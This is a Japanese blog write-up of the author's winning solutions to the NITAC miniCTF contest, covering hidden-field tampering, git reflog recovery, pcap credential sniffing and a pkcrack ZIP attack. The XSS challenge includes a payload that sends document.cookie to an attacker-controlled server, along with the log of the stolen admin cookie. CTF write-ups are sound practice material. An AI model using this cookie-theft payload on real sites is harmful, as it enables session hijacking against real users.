更新日時で差をつけろ

もはや更新日時でしか差を付けられない

NITAC miniCTFに参加した

2/4, 明石高専で開かれたminiCTFに参加しました。
personal-development名義でチームSMAPとして出て、個人1050点/チーム1950点で1位でした。
WebとCryptoに弱いのをなんとかしたい。

以下write-up。

Checkcoin

500億円程度流失していそうな問題名。
ユーザは1000NEM持っていて、FLAGを見るには10000NEM必要らしい。
また、Johnプロに募金ができるページが用意されている。ボタンを押すと書かれた数だけNEMが減っていく。

ソースを見るとこんな感じ(記憶から再現)なので、amountvalue-10000にするとNEMが加算されるようになり、無事FLAGを入手できる。

<input type="hidden" name="amount" value="5">
<input type="submit" value="5 nem">

Where flag?

gitを使った問題。
たまたまGitの配管コマンドについての記事を読んでいたのでこれを使った。

含まれているflag.txtは偽物。

$ cat flag.txt
NITAC{This_is_un!not_flag}

git logするも、嘘のフラグに書き換えた記録しかない。

$ git log --oneline
e0168bf (HEAD -> master) Change to lie flag
0001fda add tmp_flag

本番ではなんかいろいろウワーッとやったので覚えていない。
reflogを使えばChange to real flagからresetで履歴が書き換えられたことが確認できるらしい。

$ git reflog 
e0168bf (HEAD -> master) HEAD@{0}: commit: Change to lie flag
0001fda HEAD@{1}: reset: moving to 0001fda371ae32ee3f987f2ff63129ef647381a5
167eff1 HEAD@{2}: commit: Change to real flag
0001fda HEAD@{3}: commit (initial): add tmp_flag 

そこからは配管コマンドを使って、

$ git ls-tree 167e
100644 blob fa348447eb8e23bbf88da4521d3c4961abd91cdf    flag.txt
$ git cat-file blob fa34
NITAC{You_can_change_the_past}         

Basic!

.pcapが渡される。httpで絞りこんであげると、Basic認証のパケットがある。

http://10.0.0.111/にアクセスし、ID,PWをhoge, M2Fuchagam#qと入力するとFLAGにアクセスできる。

7ch

「adminのcookieを盗め」という問題。

自分「SQLi〜〜うーん、無理!w」
運営「Demand AdministratorのフォームにXSS脆弱性があるよ〜」
自分「(Googleを開く)」

python -m http.serverで適当にサーバを立ち上げたあと、<input>maxlength属性を書き換え、<script>document.location='http://(自分のマシンのIP):8000/'+document.cookie</script>を流し込む。
するとサーバ側で送信したデータが開かれるのでスクリプトも実行される。

$ python -m http.server
10.0.0.110 - - [04/Feb/2018 17:48:13] code 404, message File not found
10.0.0.110 - - [04/Feb/2018 17:48:13] "GET /admin=89iu4whyf9poqjfj89ygw3n0jfsjo82 HTTP/1.1" 404 -

また、LoginのページにFLAGが/admin/flagにあることが示されているので、Cookieadmin=89iu....に書き換えてアクセスするとFLAGが出る。

ZIPZIP

既知平文攻撃。
NITACminiCTF.pngconnpassページで公開されているエスパー。

$ zip downloaded.zip downloaded.png
$ pkcrack -C zip.zip -c NITACminiCTF.png -P downloaded.zip -p downloaded.png -d output.zip
$ unzip output.zip
$ cat flag.txt
NITAC{unzip_unzip_unzip}

John thinks...

@Akashi_SN への愛が足りずにFLAGを予測できなかった。無念。
stringsコマンドで。

$ strings hoge.jpg -n 20
NITAC{akashi_sn_kawaii}cms